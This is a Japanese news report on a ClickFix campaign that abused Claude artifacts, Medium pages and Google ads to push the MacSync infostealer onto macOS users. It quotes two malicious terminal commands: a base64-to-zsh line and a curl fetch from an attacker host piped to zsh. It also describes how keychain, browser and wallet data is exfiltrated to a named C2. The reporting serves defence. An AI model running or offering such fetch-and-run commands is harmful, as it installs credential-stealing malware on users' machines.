脅威行為者は、ClickFixキャンペーンでクロードアーティファクトとGoogle広告を悪用し、特定のクエリを検索したmacOSユーザーに情報窃取マルウェアを配信しています。
この悪意ある行為の少なくとも2つの亜種が野放し状態で確認されており、10,000人以上のユーザーが危険な指示を含むコンテンツにアクセスしています。
クロード・アーティファクトとは、AntropicのLLMで生成され、作者によって公開されたコンテンツのことです。説明書やガイド、コードの塊など、メインチャットから隔離され、claude.aiドメインにホストされたリンクを通じて誰でもアクセスできる出力物である。
アーティファクトのページでは、表示されたコンテンツがユーザーによって生成されたものであり、正確性が検証されていないことをユーザーに警告している。
MacPawの調査部門であるMoonlock Labと広告ブロック会社AdGuardの研究者は、”online DNS resolver”、”macOS CLI disk space analyzer”、”HomeBrew “といった複数のクエリに対して悪意のある検索結果が表示されていることに気づいた。
ソースはこちら：AdGuard
Google検索で宣伝された悪意のある検索結果は、公開されているClaudeのアーティファクトか、AppleサポートになりすましたMediumの記事に誘導されます。どちらの場合も、ユーザーはシェルコマンドをターミナルに貼り付けるよう指示されます。
- 最初の攻撃では、実行コマンドは
「echo "..." | base64 -D | zsh,」である。 - 一方、2つ目の攻撃では、次のようになります：
'true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]""| zsh'.
ソースはこちら：Moonlock Lab
Moonlockの研究者は、悪意のあるClaudeガイドがすでに少なくとも15,600ビューを獲得していることを発見した。
AdGuardのリサーチャーは、数日前に同じガイドを観察しており、その時は12,300ビューだった。
ソースはこちら：Moonlock Lab
ターミナルでコマンドを実行すると、MacSync infostealer用のマルウェアローダーがフェッチされ、システム上に存在する機密情報が流出する。
研究者によると、このマルウェアはハードコードされたトークンとAPIキーを使用してコマンド・アンド・コントロール（C2）インフラストラクチャとの通信を確立し、macOSブラウザのユーザーエージェントを偽装して通常のアクティビティに紛れ込ませる。
「AppleScriptは実際の窃盗（キーチェーン、ブラウザデータ、暗号ウォレット）を処理します。
盗まれたデータは「/tmp/osalogging.zip」のアーカイブにパッケージ化され、HTTP POSTリクエストを経由してa2abotnet[.]com/gateに ある攻撃者のC2に流出する。失敗した場合、アーカイブはより小さなチャンクに分割され、流出は8回再試行される。アップロードに成功すると、クリーンアップのステップですべての痕跡が削除されます。
MoonLock Labは、どちらの亜種も同じC2アドレスから第2段階を取得することを発見し、観察された活動の背後に同じ脅威行為者がいることを示しています。
同様のキャンペーンは、ChatGPTとGrokのチャット共有機能を活用してAMOS infostealerを配信していました。2025年12月、Macユーザーを標的としたClickFix攻撃でChatGPTとGrokの会話が活用されていることを発見した研究者が、このプロモーションを発見しました。
この攻撃のクロードのバリエーションは、悪用が他の大規模言語モデル（LLM）に拡大していることを示している。
ユーザーは注意を払い、十分に理解していないコマンドをターミナルで実行しないようにすることが推奨される。カスペルスキーの研究者が過去に指摘したように、提供されたコマンドの安全性について同じ会話の中でチャットボットに尋ねることは、安全かどうかを判断する簡単な方法です。
.ia_ad { background-color：#width: 95%; max-width: 800px; margin: 15px auto; border-radius: 8px; border：1px solid #d6ddee; display: flex; align-items: stretch; padding: 0; overflow: hidden; }：0; overflow: hidden; } .ia_lef { flex: 1; max-width: 200px; height: auto; display: flex; align-items: stretch; } .ia_lef a { display: flex; width: 100%; height: 100%; } .ia_lef a img { width: 100%; height: 100%; border-radius: 8px 0 0 8px; margin: 0; display: block; } .ia_rig { flex: 2; padding：display: flex; flex-direction: column; justify-content: center; } .ia_rig h2 { font-size: 17px !important; font-weight: 700; color：#line-height: 1.4; font-family：margin: 0 0 14px 0; } .ia_rig p { font-weight: bold; font-size: 14px; margin: 0 0 clamp(6px, 2vw, 14px) 0; } .ia_button { background-color：#border：1px solid #3b59aa; color: black; text-align: center; text-decoration: none; border-radius: 8px; display: inline-block; font-size: 16px; font-weight: bold; cursor: pointer; padding：width: fit-content; } .ia_button a { text-decoration: none; color: inherit; display: block; } @media (max-width: 600px) { .ia_ad { flex-direction: column; align-items: center; } .ia_lef { max-width: 100%; } .ia_lef a img { border-radius: 8px 8px 0 0; } .ia_rig { padding：15px;
width: 100%;
}
.ia_button {
width: 100%;
margin: 0px auto;
}
}
ITインフラの未来はここにある
現代のITインフラは、手作業のワークフローでは対応できないほど高速に動いています。
この新しいTinesガイドでは、チームが隠れた手作業の遅延を削減し、自動応答によって信頼性を向上させ、すでに使用しているツールの上にインテリジェントなワークフローを構築して拡張する方法をご紹介します。
Comments